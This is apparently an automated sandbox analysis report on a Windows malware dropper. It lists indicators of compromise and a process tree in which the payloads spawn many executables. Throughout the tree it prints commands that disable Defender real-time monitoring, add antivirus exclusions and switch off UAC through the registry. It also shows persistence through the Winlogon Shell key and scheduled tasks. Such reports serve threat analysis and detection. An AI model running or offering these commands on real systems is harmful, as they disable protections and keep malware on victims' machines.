u72LOaRxLgkK5IHOwYSqQlCm.exe Token: SeDebugPrivilege 5988 u72LOaRxLgkK5IHOwYSqQlCm.exe Token: SeDebugPrivilege 2940 z485zCgApYkB9GZalmCeDduF.exe Token: SeDebugPrivilege 1136 O2e913GzFE0n9x332YZ0qWQ_.exe Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE Token: SeShutdownPrivilege 3212 Explorer.EXE Token: SeCreatePagefilePrivilege 3212 Explorer.EXE -
Suspicious use of FindShellTrayWindow 10 IoCs
pid Process 1532 setup.tmp 12252 installer.exe 6180 msedge.exe 1540 Calculator.exe 1540 Calculator.exe 1540 Calculator.exe 1540 Calculator.exe 1540 Calculator.exe 1540 Calculator.exe 1540 Calculator.exe -
Suspicious use of SendNotifyMessage 5 IoCs
pid Process 1540 Calculator.exe 1540 Calculator.exe 1540 Calculator.exe 1540 Calculator.exe 1540 Calculator.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 964 wrote to memory of 1496 964 acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe 81 PID 964 wrote to memory of 1496 964 acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe 81 PID 964 wrote to memory of 1496 964 acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe 81 PID 1496 wrote to memory of 2240 1496 setup_installer.exe 82 PID 1496 wrote to memory of 2240 1496 setup_installer.exe 82 PID 1496 wrote to memory of 2240 1496 setup_installer.exe 82 PID 4424 wrote to memory of 2904 4424 svchost.exe 87 PID 4424 wrote to memory of 2904 4424 svchost.exe 87 PID 2240 wrote to memory of 3364 2240 setup_install.exe 88 PID 2240 wrote to memory of 3364 2240 setup_install.exe 88 PID 2240 wrote to memory of 3364 2240 setup_install.exe 88 PID 2240 wrote to memory of 3800 2240 setup_install.exe 89 PID 2240 wrote to memory of 3800 2240 setup_install.exe 89 PID 2240 wrote to memory of 3800 2240 setup_install.exe 89 PID 2240 wrote to memory of 4028 2240 setup_install.exe 90 PID 2240 wrote to memory of 4028 2240 setup_install.exe 90 PID 2240 wrote to memory of 4028 2240 setup_install.exe 90 PID 2240 wrote to memory of 4488 2240 setup_install.exe 120 PID 2240 wrote to memory of 4488 2240 setup_install.exe 120 PID 2240 wrote to memory of 4488 2240 setup_install.exe 120 PID 3800 wrote to memory of 4908 3800 cmd.exe 91 PID 3800 wrote to memory of 4908 3800 cmd.exe 91 PID 3800 wrote to memory of 4908 3800 cmd.exe 91 PID 2240 wrote to memory of 4624 2240 setup_install.exe 119 PID 2240 wrote to memory of 4624 2240 setup_install.exe 119 PID 2240 wrote to memory of 4624 2240 setup_install.exe 119 PID 3364 wrote to memory of 1572 3364 cmd.exe 118 PID 3364 wrote to memory of 1572 3364 cmd.exe 118 PID 3364 wrote to memory of 1572 3364 cmd.exe 118 PID 2240 wrote to memory of 1348 2240 setup_install.exe 94 PID 2240 wrote to memory of 1348 2240 setup_install.exe 94 PID 2240 wrote to memory of 1348 2240 setup_install.exe 94 PID 2240 wrote to memory of 1532 2240 setup_install.exe 93 PID 2240 wrote to memory of 1532 2240 setup_install.exe 93 PID 2240 wrote to memory of 1532 2240 setup_install.exe 93 PID 2240 wrote to memory of 2272 2240 setup_install.exe 92 PID 2240 wrote to memory of 2272 2240 setup_install.exe 92 PID 2240 wrote to memory of 2272 2240 setup_install.exe 92 PID 2240 wrote to memory of 3944 2240 setup_install.exe 117 PID 2240 wrote to memory of 3944 2240 setup_install.exe 117 PID 2240 wrote to memory of 3944 2240 setup_install.exe 117 PID 2240 wrote to memory of 4636 2240 setup_install.exe 116 PID 2240 wrote to memory of 4636 2240 setup_install.exe 116 PID 2240 wrote to memory of 4636 2240 setup_install.exe 116 PID 4488 wrote to memory of 4668 4488 cmd.exe 95 PID 4488 wrote to memory of 4668 4488 cmd.exe 95 PID 2240 wrote to memory of 4600 2240 setup_install.exe 115 PID 2240 wrote to memory of 4600 2240 setup_install.exe 115 PID 2240 wrote to memory of 4600 2240 setup_install.exe 115 PID 4028 wrote to memory of 3308 4028 cmd.exe 114 PID 4028 wrote to memory of 3308 4028 cmd.exe 114 PID 4028 wrote to memory of 3308 4028 cmd.exe 114 PID 2240 wrote to memory of 3292 2240 setup_install.exe 113 PID 2240 wrote to memory of 3292 2240 setup_install.exe 113 PID 2240 wrote to memory of 3292 2240 setup_install.exe 113 PID 4624 wrote to memory of 1416 4624 cmd.exe 112 PID 4624 wrote to memory of 1416 4624 cmd.exe 112 PID 4624 wrote to memory of 1416 4624 cmd.exe 112 PID 2240 wrote to memory of 4708 2240 setup_install.exe 111 PID 2240 wrote to memory of 4708 2240 setup_install.exe 111 PID 2240 wrote to memory of 4708 2240 setup_install.exe 111 PID 1348 wrote to memory of 4692 1348 cmd.exe 110 PID 1348 wrote to memory of 4692 1348 cmd.exe 110 PID 1348 wrote to memory of 4692 1348 cmd.exe 110 -
System policy modification 1 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" scriptwriters.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3212 -
C:\Users\Admin\AppData\Local\Temp\acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe"C:\Users\Admin\AppData\Local\Temp\acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of WriteProcessMemory
PID:3364 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1572
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4908
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09ed6b36e57df5f.exe5⤵
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09ed6b36e57df5f.exeWed09ed6b36e57df5f.exe6⤵
- Executes dropped EXE
PID:3308
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0983917533e.exe5⤵PID:2272
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0983917533e.exeWed0983917533e.exe6⤵
- Executes dropped EXE
PID:1260 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 2487⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5308
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09c4c0c3d01.exe5⤵PID:1532
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09c4c0c3d01.exeWed09c4c0c3d01.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3948 -
C:\Users\Admin\AppData\Roaming\7941442.exe"C:\Users\Admin\AppData\Roaming\7941442.exe"7⤵
- Executes dropped EXE
PID:2324
-
-
C:\Users\Admin\AppData\Roaming\5069683.exe"C:\Users\Admin\AppData\Roaming\5069683.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2084
-
-
C:\Users\Admin\AppData\Roaming\1946948.exe"C:\Users\Admin\AppData\Roaming\1946948.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:580
-
-
C:\Users\Admin\AppData\Roaming\3154250.exe"C:\Users\Admin\AppData\Roaming\3154250.exe"7⤵
- Executes dropped EXE
PID:4044 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\3154250.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\3154250.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))8⤵PID:6176
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\3154250.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\3154250.exe" ) do taskkill -f -Im "%~NXZ"9⤵PID:6884
-
-
-
-
C:\Users\Admin\AppData\Roaming\7870271.exe"C:\Users\Admin\AppData\Roaming\7870271.exe"7⤵PID:3880
-
-
C:\Users\Admin\AppData\Roaming\2536708.exe"C:\Users\Admin\AppData\Roaming\2536708.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5456 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵PID:7140
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed090db89ca4c58.exe5⤵
- Suspicious use of WriteProcessMemory
PID:1348 -
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exeWed090db89ca4c58.exe6⤵
- Executes dropped EXE
PID:4692
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed091bab77a3bb62d.exe5⤵PID:4988
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed091bab77a3bb62d.exeWed091bab77a3bb62d.exe6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:820 -
C:\Users\Admin\Pictures\Adobe Films\5GbJABxusvW2Pz7AK6rUlrdV.exe"C:\Users\Admin\Pictures\Adobe Films\5GbJABxusvW2Pz7AK6rUlrdV.exe"7⤵
- Executes dropped EXE
PID:5168
-
-
C:\Users\Admin\Pictures\Adobe Films\u72LOaRxLgkK5IHOwYSqQlCm.exe"C:\Users\Admin\Pictures\Adobe Films\u72LOaRxLgkK5IHOwYSqQlCm.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:3476
-
-
C:\Users\Admin\Pictures\Adobe Films\f47U96v4E2xvAceZTVowo_Da.exe"C:\Users\Admin\Pictures\Adobe Films\f47U96v4E2xvAceZTVowo_Da.exe"7⤵
- Executes dropped EXE
PID:6004
-
-
C:\Users\Admin\Pictures\Adobe Films\rCEAlTAUmN5DqGRox3D7HhaA.exe"C:\Users\Admin\Pictures\Adobe Films\rCEAlTAUmN5DqGRox3D7HhaA.exe"7⤵PID:6116
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:6236
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:5320
-
-
-
C:\Users\Admin\Pictures\Adobe Films\vEuOBV85K9pJ9VWlkcYMPjWC.exe"C:\Users\Admin\Pictures\Adobe Films\vEuOBV85K9pJ9VWlkcYMPjWC.exe"7⤵PID:2264
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09755e77ed017e8af.exe5⤵PID:4708
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09fbe3bf81.exe5⤵PID:3292
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09f69eef9c0d5b.exe5⤵PID:4600
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0968d19e5ec37794.exe5⤵PID:4636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09d761ab4704dd931.exe5⤵PID:3944
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0900caa0501dc98f.exe5⤵
- Suspicious use of WriteProcessMemory
PID:4624
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0944361c3621a67a6.exe5⤵
- Suspicious use of WriteProcessMemory
PID:4488
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2240 -s 6205⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:5280
-
-
-
-
-
C:\Windows\SysWOW64\chkdsk.exe"C:\Windows\SysWOW64\chkdsk.exe"2⤵
- Adds policy Run key to start application
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: MapViewOfSection
PID:5696 -
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\z485zCgApYkB9GZalmCeDduF.exe"3⤵PID:6644
-
-
-
C:\Windows\SysWOW64\cmmon32.exe"C:\Windows\SysWOW64\cmmon32.exe"2⤵PID:6384
-
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\SysWOW64\svchost.exe"2⤵PID:6376
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵PID:6208
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵PID:3844
-
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\SysWOW64\svchost.exe"2⤵PID:6776
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\SysWOW64\wscript.exe"2⤵PID:6592
-
-
C:\Users\Admin\AppData\Local\Temp\47BE.exeC:\Users\Admin\AppData\Local\Temp\47BE.exe2⤵
- Suspicious use of SetThreadContext
PID:5348 -
C:\Users\Admin\AppData\Local\Temp\47BE.exeC:\Users\Admin\AppData\Local\Temp\47BE.exe3⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: MapViewOfSection
PID:2368
-
-
-
C:\Users\Admin\AppData\Local\Temp\9207.exeC:\Users\Admin\AppData\Local\Temp\9207.exe2⤵PID:5564
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5564 -s 2803⤵
- Program crash
PID:4908
-
-
-
C:\Users\Admin\AppData\Local\Temp\C760.exeC:\Users\Admin\AppData\Local\Temp\C760.exe2⤵PID:4944
-
-
C:\Users\Admin\AppData\Local\Temp\DF10.exeC:\Users\Admin\AppData\Local\Temp\DF10.exe2⤵PID:3728
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3728 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2560
-
-
-
C:\Users\Admin\AppData\Local\Temp\1AC.exeC:\Users\Admin\AppData\Local\Temp\1AC.exe2⤵
- Suspicious use of SetThreadContext
PID:2176 -
C:\Users\Admin\AppData\Local\Temp\1AC.exeC:\Users\Admin\AppData\Local\Temp\1AC.exe3⤵PID:2868
-
-
-
C:\Users\Admin\AppData\Local\Temp\8AD2.exeC:\Users\Admin\AppData\Local\Temp\8AD2.exe2⤵PID:1516
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 2923⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:500
-
-
-
C:\Users\Admin\AppData\Local\Temp\4C6.exeC:\Users\Admin\AppData\Local\Temp\4C6.exe2⤵PID:2964
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 2803⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1592
-
-
-
C:\Users\Admin\AppData\Local\Temp\1292.exeC:\Users\Admin\AppData\Local\Temp\1292.exe2⤵PID:2376
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:3136
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:3776
-
-
-
C:\Users\Admin\AppData\Local\Temp\2FD0.exeC:\Users\Admin\AppData\Local\Temp\2FD0.exe2⤵
- Suspicious use of SetThreadContext
PID:2044 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release3⤵
- Blocklisted process makes network request
PID:476 -
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /release4⤵
- Gathers network information
PID:9132
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:3824
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:9044
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:10968
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:8892
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:7176
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:9552
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:3132
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Loads dropped DLL
PID:5928
-
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:6736
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:2496
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:4588
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /renew3⤵PID:7300
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /renew4⤵
- Gathers network information
PID:5748
-
-
-
C:\Users\Admin\AppData\Local\Temp\2FD0.exeC:\Users\Admin\AppData\Local\Temp\2FD0.exe3⤵PID:4176
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4176 -s 19524⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4652
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4CAF.exeC:\Users\Admin\AppData\Local\Temp\4CAF.exe2⤵PID:5632
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"3⤵PID:7624
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"4⤵
- Modifies WinLogon for persistence
PID:7964
-
-
-
C:\Users\Admin\AppData\Local\chromedrlver.exe"C:\Users\Admin\AppData\Local\chromedrlver.exe"3⤵
- Suspicious use of SetThreadContext
PID:5272 -
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"4⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4908
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\6067.exeC:\Users\Admin\AppData\Local\Temp\6067.exe2⤵
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System policy modification
PID:4372 -
C:\Users\Admin\AppData\Local\Temp\7cd0a31b-27ec-4743-b1a2-3691893047f7\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\7cd0a31b-27ec-4743-b1a2-3691893047f7\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7cd0a31b-27ec-4743-b1a2-3691893047f7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:7616
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7cd0a31b-27ec-4743-b1a2-3691893047f7\test.bat"4⤵PID:8160
-
-
-
C:\Users\Admin\AppData\Local\Temp\c6878e06-c289-4add-a8f0-3ab7e4af990b\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\c6878e06-c289-4add-a8f0-3ab7e4af990b\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c6878e06-c289-4add-a8f0-3ab7e4af990b\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:7660
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c6878e06-c289-4add-a8f0-3ab7e4af990b\test.bat"4⤵PID:7980
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force3⤵PID:9084
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force3⤵PID:9140
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force3⤵PID:9464
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:9824
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:9984
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force3⤵PID:10104
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"3⤵
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:10280 -
C:\Users\Admin\AppData\Local\Temp\ab3801bb-8b61-4b88-8eca-f2b77e40a768\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\ab3801bb-8b61-4b88-8eca-f2b77e40a768\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\ab3801bb-8b61-4b88-8eca-f2b77e40a768\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵PID:11684
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ab3801bb-8b61-4b88-8eca-f2b77e40a768\test.bat"5⤵PID:11888
-
-
-
C:\Users\Admin\AppData\Local\Temp\6761b16d-5a85-4eaa-920b-b6335b86995e\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\6761b16d-5a85-4eaa-920b-b6335b86995e\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\6761b16d-5a85-4eaa-920b-b6335b86995e\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵PID:11788
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6476 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Loads dropped DLL
- Adds Run key to start application
PID:1948
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:940
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵
- Blocklisted process makes network request
PID:4080
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force4⤵PID:5552
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:680
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force4⤵PID:7488
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"4⤵PID:9536
-
-
